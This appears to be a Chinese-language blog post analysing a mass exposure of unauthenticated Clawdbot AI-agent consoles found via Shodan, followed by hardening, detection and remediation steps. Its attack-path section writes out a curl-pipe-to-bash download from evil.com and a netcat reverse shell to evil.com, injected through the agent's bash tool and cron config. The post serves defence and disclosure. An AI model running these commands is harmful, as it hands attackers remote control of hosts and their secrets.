Shodan 扫出 923 个暴露网关:Clawdbot 安全事故分析与防护方案

Shodan 扫出 923 个暴露网关:Clawdbot 安全事故分析与防护方案

事故概况

2026年1月,安全研究人员在 Shodan(互联网设备搜索引擎)上发现 923 个 Clawdbot 控制台暴露在公网,无需认证即可访问。

Shodan 搜索关键词:clawdbot control 或端口 18789

攻击者可以:

  1. 查看所有聊天记录
  2. 提取 API Key(Claude、OpenAI、Telegram Bot Token)
  3. 修改配置文件
  4. 执行远程 shell 命令
  5. 下载 Signal session 文件(克隆账号)

这不是理论风险,已有实际利用案例。

问题根源分析

配置错误:bind 0.0.0.0

Clawdbot 的控制台默认监听 localhost:18789

但如果想从其他设备访问(手机、笔记本),需要改配置:

{
  "gateway": {
    "bind": "0.0.0.0",  // 监听所有网络接口
    "port": 18789
  }
}

0.0.0.0 的含义:

  • 在局域网环境:监听 192.168.x.x(局域网 IP)
  • 在云服务器:监听公网 IP(直接暴露到互联网)

很多人没意识到这个差异。

文档误导

快速开始示例(README):

clawdbot gateway --bind 0.0.0.0 --port 18789

虽然文档下方有警告:"生产环境必须启用认证",但:

  • 警告藏在第 115 行,很多人看不到
  • 示例代码直接写 0.0.0.0,新手会直接复制
  • 没有强制校验(启动时不报错)

云服务器的天然陷阱

本地电脑 vs 云服务器的区别:

本地电脑(有路由器)

外网 → 路由器 NAT → 本地电脑 (192.168.x.x)

即使 bind 0.0.0.0,外网无法直接访问(除非配置端口转发)。

云服务器(直连公网)

外网 → 云服务器公网 IP (123.45.67.89)

bind 0.0.0.0 = 直接暴露到全世界。

很多人以为"云服务器会自带防火墙",实际上默认是全开的。

攻击面详解

攻击路径1:读取聊天记录

控制台 Web UI 地址:

http://<target-ip>:18789/

进入后可以看到:

  • 所有频道的消息历史
  • 联系人列表
  • 文件传输记录

如果对话中涉及敏感信息(密码、账号、内部资料),全部泄露。

攻击路径2:提取 API Key

配置页面 /settings

{
  "providers": {
    "anthropic": {
      "apiKey": "sk-ant-xxx...xxx"  // 明文显示
    },
    "openai": {
      "apiKey": "sk-xxx...xxx"
    }
  },
  "channels": {
    "telegram": {
      "botToken": "123456:ABCdef..."
    }
  }
}

拿到这些 key 后,攻击者可以:

  • 消耗你的 API 配额(烧钱)
  • 冒充你的 bot 发送钓鱼消息
  • 如果 key 权限范围大,操作其他关联服务

攻击路径3:远程代码执行

Clawdbot 的 bash tool 允许执行 shell 命令。

攻击者可以通过控制台界面发送指令:

POST /api/agent/execute
{
  "tool": "bash",
  "command": "curl http://evil.com/backdoor.sh | bash"
}

或者直接修改配置,注入恶意 cron 任务:

{
  "cron": {
    "backdoor": {
      "schedule": "* * * * *",
      "action": "shell",
      "command": "nc evil.com 4444 -e /bin/bash"  // 反向 shell
    }
  }
}

攻击路径4:克隆 Signal 账号

Clawdbot 集成 Signal 时,会在 ~/.clawdbot/signal-cli/ 目录存储:

  • 账号私钥
  • Session 数据
  • 联系人列表

攻击者下载这些文件,在自己的设备上运行:

signal-cli --config ./stolen-data link

就能「克隆」你的 Signal 账号,接收你的所有消息。

防护方案

方案1:只监听 localhost(推荐)

修改配置:

{
  "gateway": {
    "bind": "127.0.0.1"
  }
}

需要远程访问时,使用 SSH 隧道:

ssh -L 18789:localhost:18789 user@server

方案2:启用强认证

如果必须绑定 0.0.0.0,启用密码保护:

{
  "gateway": {
    "bind": "0.0.0.0",
    "auth": {
      "enabled": true,
      "method": "password",
      "password": "your-strong-password-here"
    }
  }
}

访问控制台时需要输入密码。

更安全的方式:JWT Token

{
  "gateway": {
    "auth": {
      "enabled": true,
      "method": "jwt",
      "secret": "your-secret-key",
      "tokenExpiry": 86400  // 24小时过期
    }
  }
}

生成访问 token:

clawdbot auth generate-token --expires 24h

方案3:防火墙限制

即使启用了认证,也应该在防火墙层面限制访问:

# 只允许特定 IP 访问
sudo ufw allow from 203.0.113.0/24 to any port 18789

# 或只允许 VPN 网段
sudo ufw allow from 100.64.0.0/10 to any port 18789

方案4:反向代理

使用 Nginx/Caddy 加一层保护:

server {
  listen 443 ssl;
  server_name clawd.internal.company.com;
  
  # IP 白名单
  allow 10.0.0.0/8;
  deny all;
  
  # HTTP Basic Auth
  auth_basic "Restricted";
  auth_basic_user_file /etc/nginx/.htpasswd;
  
  # 速率限制
  limit_req zone=one burst=5;
  
  location / {
    proxy_pass http://127.0.0.1:18789;
  }
}

检测是否已暴露

自查命令

# 检查监听地址
netstat -tlnp | grep 18789

# 如果输出包含 0.0.0.0:18789,说明监听了所有接口
# 如果输出是 127.0.0.1:18789,安全

# 从外部测试(需要另一台机器)
curl -I http://<your-server-ip>:18789

# 如果返回 200 或 401,说明可以从外部访问
# 如果超时或拒绝连接,说明被防火墙拦截(安全)

使用 Shodan 检查

访问 https://www.shodan.io/

搜索你的服务器 IP:

ip:"123.45.67.89" port:18789

如果有结果,说明你已被 Shodan 索引(全世界可见)。

Clawdbot Doctor

官方在 2026年1月底加入了检测命令:

clawdbot doctor

输出示例:

✓ Node.js 版本: 22.1.0
✓ 数据库正常
✗ 控制台绑定到 0.0.0.0 但未启用认证 (高危)
✗ 防火墙未检测到 UFW/iptables 规则
⚠ API Key 存储为明文 (建议加密)

风险评分: 7/10 (高风险)

建议修复:
1. 修改 bind 为 127.0.0.1
2. 或启用 gateway.auth
3. 配置防火墙规则

定期运行这个命令,确保配置安全。

事后补救

如果你发现自己的控制台已经暴露:

步骤1:立即关闭服务

# 停止 Clawdbot
sudo systemctl stop clawdbot
# 或
docker-compose down

步骤2:轮换所有密钥

假设 API key 已泄露:

  1. 访问 Anthropic Console,撤销旧 key,生成新 key
  2. 访问 OpenAI Dashboard,撤销旧 key
  3. 访问 Telegram BotFather,重置 bot token

步骤3:检查异常活动

查看 API 使用记录:

# Anthropic Console → Usage → Recent requests
# 检查是否有陌生 IP 的调用

查看 Clawdbot 日志:

grep "incoming_message" ~/.clawdbot/logs/* | \
  awk '{print $NF}' | sort | uniq
  
# 如果出现陌生的 user_id,说明被入侵过

步骤4:修复配置后重启

按照上面的防护方案修复配置,然后重新启动。

步骤5:报告

如果发现明确的攻击行为,报告给:

  • 云服务提供商(阿里云/AWS 安全团队)
  • Clawdbot GitHub Security Advisory

教训

这次批量暴露事件的核心教训:

「能跑」和「安全地跑」之间有巨大鸿沟。

技术工具的门槛降低了(一条命令就能装 Clawdbot),但安全知识的门槛没变。

大量非技术背景的用户涌入,他们不懂防火墙、不懂端口、不懂 NAT。

但这不是他们的错。

真正的问题是:工具设计没有充分考虑"非专业用户"的场景。

理想的设计应该是"默认安全":

  • 启动时强制检查网络配置
  • 如果 bind 0.0.0.0 且未启用认证,拒绝启动
  • 或者至少弹出巨大的红字警告,让用户无法忽视

把安全责任推给用户,最后受伤的是整个生态。


参考资源

  • Shodan: https://www.shodan.io/
  • Clawdbot Issue #2015: https://github.com/clawdbot/clawdbot/issues/2015
  • OWASP 配置错误: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
← 返回博客列表